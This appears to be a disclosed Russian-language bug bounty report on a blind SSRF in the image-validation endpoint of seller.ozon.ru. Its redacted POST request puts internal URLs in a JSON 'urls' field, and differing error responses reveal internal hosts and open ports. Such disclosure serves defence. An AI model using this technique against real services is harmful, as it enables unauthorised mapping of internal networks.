Приветствую, в методе валидации изображений ```{%mask_value%}``` присутствует SSRF.

Пример запроса:
```
POST {%mask_value%}
Host: seller.ozon.ru
...
Accept-Language: ru
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
{%mask_value%}
{%mask_value%}
{%mask_value%}
Content-Length: 46
Origin: https://seller.ozon.ru
Referer: {%mask_value%}
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

{"urls":["http://{%mask_value%}{%mask_value%}"]}
```

В ответ приходит

```
{"images":[{"srcUrl":"http://{%mask_value%}{%mask_value%}","url":"","name":"","{%mask_value%}":{"code":"too_small","message":"Размер файла меньше допустимого 171 < 512"}}]}
```

на запрос например такого урла http://{%mask_value%}{%mask_value%} получаем:

```
{"images":[{"srcUrl":"http://{%mask_value%}{%mask_value%}","url":"","name":"","{%mask_value%}":{"code":"http_error","message":"request process failed: unknown error connection refused"}}]}
```

или например для {%mask_value%} получаем wrong content type

```
{"images":[{"srcUrl":"{%mask_value%}","url":"","name":"","{%mask_value%}":{"code":"wrong_content_type","message":"wrong_content_type"}}]}
```

Домены {%mask_value%} и {%mask_value%} не резолвятся из внешней сети, получаем blind SSRF с возможностью посылать GET запросы во внутреннюю сеть, исследовать открытые порты и идентифицировать http сервисы

Blind SSRF в методе валидации изображений [seller.ozon.ru]